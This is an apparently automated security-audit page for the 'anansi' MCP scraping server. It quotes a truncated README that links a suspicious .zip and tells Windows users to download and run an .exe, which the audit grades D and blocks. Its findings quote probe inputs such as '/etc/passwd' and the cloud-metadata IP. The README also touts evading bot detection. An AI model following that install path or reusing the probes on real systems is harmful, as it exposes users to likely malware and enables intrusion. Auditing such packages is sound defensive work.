anansiBLOCK
Scrape data from unstable websites using automated self-healing scrapers, TLS fingerprinting, and Pydantic validation to ensure reliable extraction.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/aboral-bumper926/anansi/main/anansi/spider/Software_3.2-beta.4.zip)
Anansi helps you collect information from websites that block standard tools. It fixes broken parts on its own and acts like a real person to avoid detection. You can connect it to AI models to perform searches through simple chat.
📋 What this tool does
Many websites prevent automated tools from reading their data. These sites check how you connect and block software that looks like a robot. Anansi solves this through several features:
- Self-healing selectors: When a website changes its layout, the tool finds the new location of your information automatically.
- Browser rendering: Anansi loads pages just like a normal web browser. This catches data that stays hidden from basic tools.
- TLS fingerprinting: The tool hides the fact that it is a script. Websites see these requests as typical connections from a personal laptop.
- AI integration: It uses the Model Context Protocol to talk to AI assistants. You ask the AI to find facts, and it uses Anansi to gather that data from the web.
💻 System requirements
- Windows 10 or Windows 11.
- 4 GB of free RAM.
- An internet connection that remains stable.
- Your standard Chrome or Edge web browser updated to the latest version.
📥 How to get started
- Visit the official download page.
- Locate the section labeled Assets.
- Click the file ending in .exe to start your download.
- Save the file to your desktop or downloads folder.
⚙️ Running the application
- Find the file you just downloaded.
- Double-click the file to open the installer.
- Follow the prompts on your screen.
- Select "Install for everyone" if you share this computer with others.
- Click "Finish" once the progress ba
ea5da2ac61b3OBSERVED · 2026-10-11Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add anansi-scraper -- uvx anansi-scraper
{
"mcpServers": {
"anansi-scraper": {
"command": "uvx",
"args": [
"anansi-scraper"
]
}
}
}Exposed tools (20)
19 read · 0 write · 1 destructive. Blast radius: 1 tool can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
cancel_crawl | read | |
clear_cache | destructive | |
crawl_metrics | read | |
crawl_site | read | |
export_crawl | read | |
extract | read | |
fetch_and_extract | read | |
fetch_url | read | |
fetch_urls | read | |
get_crawl_items | read | |
internal-nacl-plugin | read | |
internal-pdf-viewer | read | Portable Document Format |
list_crawls | read | |
mhjfbmdgcfjbbpaeojofohoefgiehjai | read | |
pause_crawl | read | |
resume_crawl | read | |
screenshot_url | read | |
selector_health | read | |
train_selector | read | |
validate_selector | read |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (1 observation(s))
- Network
- declared (6 observation(s))
- Shell
- none-observed
- Dependencies
- pinned
- Secrets in source
- none-found
Findings (13)
or str(ip) in {"169.254.169.254", "fd00:ec2::254"}Software_3.2-beta.4.zip
clear_cache
sse
new_hash = hashlib.md5(result.html.encode()).hexdigest()
content_hash=hashlib.md5(result.html.encode()).hexdigest(),
content_hash = hashlib.md5(result.html.encode()).hexdigest()
"https://example.com", path="/etc/passwd"
result = await srv.screenshot_url("http://127.0.0.1/")srv._validate_url("http://127.0.0.1/")srv._validate_url("http://127.0.0.1/") # must not raiseheaders={"location": "http://127.0.0.1/"},decoded = base64.b64decode(result["data_b64"])
Gates applied: no_behavioural_pass.
ea5da2ac61b3full audit observations/trust-audit/mcp-server/aboral-bumper926__anansi.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | ea5da2ac61b3 | BLOCK | D | 69 | first audit |
Questions
What is the anansi MCP server?
Scrape data from unstable websites using automated self-healing scrapers, TLS fingerprinting, and Pydantic validation to ensure reliable extraction.
What tools does anansi expose?
20 in total: 19 read-only, 0 that write, and 1 that can delete or overwrite (clear_cache). Every one is listed on this page with its risk.
Is anansi safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 1 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does anansi need?
No credential environment variables were found in its source, so it appears to need none.
How does anansi run?
It speaks sse, so it runs as a service you connect to over the network. It is published on PyPI as anansi-scraper.
How current is this page?
The grade is for one exact copy of the source (ea5da2ac61b3), read on 2026-10-11. The repository is watched and re-audited when it changes.